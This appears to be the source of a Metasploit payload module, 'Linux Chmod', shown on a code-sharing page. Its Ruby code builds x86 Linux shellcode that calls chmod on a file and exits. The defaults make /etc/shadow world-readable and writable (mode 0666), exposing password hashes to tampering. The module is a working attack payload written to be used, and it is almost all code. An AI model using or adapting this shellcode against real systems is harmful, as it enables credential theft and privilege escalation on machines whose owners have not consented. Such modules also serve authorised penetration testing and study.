Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
###
7
#  Linux Chmod(file, mode)
8
#
9
#  Kris Katterjohn - 03/03/2008
10
###
11
module MetasploitModule
12

13
  CachedSize = 36
14

15
  include Msf::Payload::Single
16
  include Msf::Payload::Linux
17

18
  def initialize(info = {})
19
    super(merge_info(info,
20
      'Name'        => 'Linux Chmod',
21
      'Description' => 'Runs chmod on specified file with specified mode',
22
      'Author'      => 'kris katterjohn',
23
      'License'     => BSD_LICENSE,
24
      'Platform'    => 'linux',
25
      'Arch'        => ARCH_X86))
26

27
    register_options(
28
      [
29
        OptString.new('FILE', [ true, "Filename to chmod", "/etc/shadow" ]),
30
        OptString.new('MODE', [ true, "File mode (octal)", "0666" ]),
31
      ])
32
  end
33

34
  # Dynamically generates chmod(FILE, MODE) + exit()
35
  def generate(opts={})
36
    file    = datastore['FILE'] || '/etc/shadow'
37
    mode	= (datastore['MODE'] || "0666").oct
38

39
    payload	=
40
      "\x99\x6a\x0f\x58\x52" +
41
      Rex::Arch::X86.call(file.length + 1) + file + "\x00" +
42
      "\x5b" + Rex::Arch::X86.push_dword(mode) +
43
      "\x59\xcd\x80\x6a\x01\x58\xcd\x80";
44
  end
45
end
46

47